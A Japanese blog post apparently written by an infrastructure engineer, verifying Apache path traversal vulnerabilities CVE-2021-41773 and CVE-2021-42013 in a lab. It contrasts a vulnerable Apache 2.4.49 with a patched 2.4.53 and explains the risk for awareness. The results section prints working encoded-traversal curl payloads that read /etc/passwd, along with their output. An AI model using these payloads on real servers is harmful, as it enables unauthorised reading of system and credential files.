Apacheの脆弱性(CVE-2021-41773、CVE-2021-42013)を検証してみた

![cyber-security-g22f68f8ad_1280.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2374812/2abe9e08-e5bc-4168-506e-27310b5693ab.png)

#目次
[1.投稿の目的](#1-投稿の目的)
[2.脆弱性とは？](#2-脆弱性とは？)
[3.脆弱性を含むミドルウェア・パッケージを利用していた場合](#3-脆弱性を含むミドルウェア・パッケージを利用していた場合)
[4.検証対象の脆弱性について](#4-検証対象の脆弱性について)
[5.検証環境](#5-検証環境)
[6.検証結果](#6-検証結果)
[7.解説](#7-解説)
[8.参考](#8-参考)

# 1. 投稿の目的
インフラSEとして業務をする中でミドルウェアやパッケージの脆弱性情報に触れる機会があり、脆弱性の内容や説明が専門的で一部の読者には理解が難しい場合もあると考えた。
検証結果を公開することでより脆弱性の危険性を理解しやすくし、脆弱性をそのまま放置しておくことでどのような危険性があるのかを周知するために、本記事を投稿することとした。

# 2. 脆弱性とは？
独立行政法人情報処理推進機構(IPA:Information-technology Promotion Agency, Japan)が公開するIPA 脆弱性対策 コンテンツ リファレンス (https://www.ipa.go.jp/files/000051352.pdf) では以下のように定義されています。

>1.脆弱性 (Vulnerability)とは
「脆弱性」とは「ソフトウェア等におけるセキュリティ上の弱点」のことで「セキュリティ ホール」とも呼ばれます。

# 3. 脆弱性を含むミドルウェア・パッケージを利用していた場合

脆弱性を含むミドルウェアやパッケージをそのまま利用している場合、脆弱性を悪用したサイバー攻撃を受けてしまう可能性があります。

そもそも「脆弱性」という単語自体は日常生活においてあまり聞くものではありませんが、ニュースで報道される顧客情報の流出やWEBサイトのダウンなどは脆弱性に端を発するものも少なくありません。

# 4. 検証対象の脆弱性について
2021年10月末に報告されたApacheの脆弱性(CVE-2021-41773、CVE-2021-42013)におけるパス・トラバーサルを対象に検証します。

#### CVE-2021-41773、CVE-2021-42013とは？
<table class="teble">
  <thead>
    <tr>
      <th class="header1">CVE</th>
      <th class="header2">概要</th>
      <th class="header3">想定される影響</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>CVE-2021-41773</td>
      <td>パスの正規化処理の欠陥による、パス・トラバーサルの脆弱性と任意のコードを実行される可能性</td>
      <td>ドキュメントルート外に置かれた「require all denied」で保護されていないファイルへのアクセス要求が成功する可能性がある。<br>
          また、これらのエイリアスパスに対してCGIスクリプトも有効になっている場合、リモートでコードが実行される可能性があります。</td>
    </tr>
  </tbody>
  <tfoot>
    <tr>
      <td>CVE-2021-42013</td>
      <td>CVE-2021-41773の修正が不十分であり同上の攻撃を実行される可能性</td>
　　　 <td>同上</td>
    </tr>
  </tfoot>
</table>

#### パス・トラバーサルとは
JVN(Japan Vulnerability Notes)が公開する脆弱性情報データベース (https://jvndb.jvn.jp/ja/cwe/CWE-22.html) では以下のように定義されています。

>パス・トラバーサル
外部からの入力によりパス名を作成し、制限された親ディレクトリ配下に位置するファイルやディレクトリを識別するために用いるようなソフトウェアにおいて、パス名に含まれる特殊な要素の無効化が適切に行われない場合、制限されたディレクトリの外側のパス名解決が可能です。



# 5. 検証環境について
脆弱性の検証は仮想化ソフトウェアを利用し、Linux OSのサーバにApache(脆弱性有版)とApache(脆弱性無版)を導入し各ターゲットへ不正アクセスの検証を行います。

<table class="teble">
  <thead>
    <tr>
      <th class="header1">OS/ミドル</th>
      <th class="header2">バージョン</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Ubuntu</td>
      <td>20.04.3 LTS (Focal Fossa)</td>
    </tr>
  </tbody>
  <tfoot>
    <tr>
      <td>Apache(脆弱性有版)</td>
      <td>2.4.49</td>
    </tr>
  </tfoot>
  <tfoot>
    <tr>
      <td>Apache(脆弱性無版)</td>
      <td>2.4.53</td>
    </tr>
  </tfoot>
</table>


* Ubuntu環境の画像は下記を参照。
![スクリーンショット 2022-07-29 17.54.12.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2374812/613b112b-d98c-a602-d4c2-2c8243edaf44.png)

# 6. 検証結果

結論から述べると、脆弱性対策版のApache(2.4.53)に対してパストラバーサルを行うとドキュメントルート外に配置したファイル1と2に対してアクセスすることが出来ませんでした。

それに対して、脆弱性対策がされていないApache(2.4.49)に対してパストラバーサルを行うとドキュメントルート外に配置した攻撃対象ファイル1と2に対してアクセスすることが出来ました。

検証時のコマンド結果を下記します。
※Apacheの詳細な設定は本記事では割愛します。

```.tsx:検証結果1 -脆弱性対策版Apache(2.4.53)へのパス・トラバーサル-
>脆弱性対策有版Apache(2.4.53)のWebサイトから攻撃対象ファイル1への攻撃
root@test1203:/home/test01# curl http://192.168.64.3:80/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.53 (Ubuntu) Server at 192.168.64.3 Port 80</address>
</body></html>

>脆弱性対策無版Apache(2.4.53)のWebサイトから攻撃対象ファイル2への攻撃
root@test1203:/home/test01# curl http://192.168.64.3:80/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/vulntest
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.53 (Ubuntu) Server at 192.168.64.3 Port 80</address>
</body></html>

```

```.tsx:検証結果2 -脆弱性対策版Apache(2.4.49)へのパス・トラバーサル-

>脆弱性対策無版Apache(2.4.49)のWebサイトから攻撃対象ファイル1への攻撃
root:# curl http://192.168.64.3:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
------以降省略------

>脆弱性対策無版Apache(2.4.49)のWebサイトから攻撃対象ファイル2への攻撃
root:# curl http://192.168.64.3:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/vulntest
PATH TRAVERSAL ATTACK SUCCESSFUL!!!

```


# 7. 解説
検証内容について解説します。

本来、正しくApacheを設定しWebサービスをすると下記一覧に示す項番5と項番６に配置されたファイルやコンテンツのみがエンドユーザーに公開されます。

そのため検証結果1で示した通り、公開領域外に配置された攻撃ファイルへのアクセスはHTTPステータスコードが400となり、アクセスエラーとなります。
しかしながら、検証結果2では公開領域外に配置された攻撃ファイルへのアクセスはHTTPステータスコードが200となり、正常にアクセスを受け付けてしまいました。

これはつまり、本来公開していない機密情報ファイルやサーバの設定を盗み見される懸念やサーバ自体を乗っ取られてしまう可能性があることを示します。

* 脆弱性検証関連のディレクトリ/設定ファイル一覧
![スクリーンショット 2022-07-31 10.28.40.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2374812/90fe60a9-ca43-65e0-5933-c97a1f225e18.png)


システムに脆弱性のあるソフトウェアやパッケージを導入していた場合は、システム影響を考慮した上で適切なバージョンアップを検討することを推奨します。


# 8. 参考
本記事を執筆する上で参考にした記事はこちらです。

https://piyolog.hatenadiary.jp/entry/2021/10/10/031834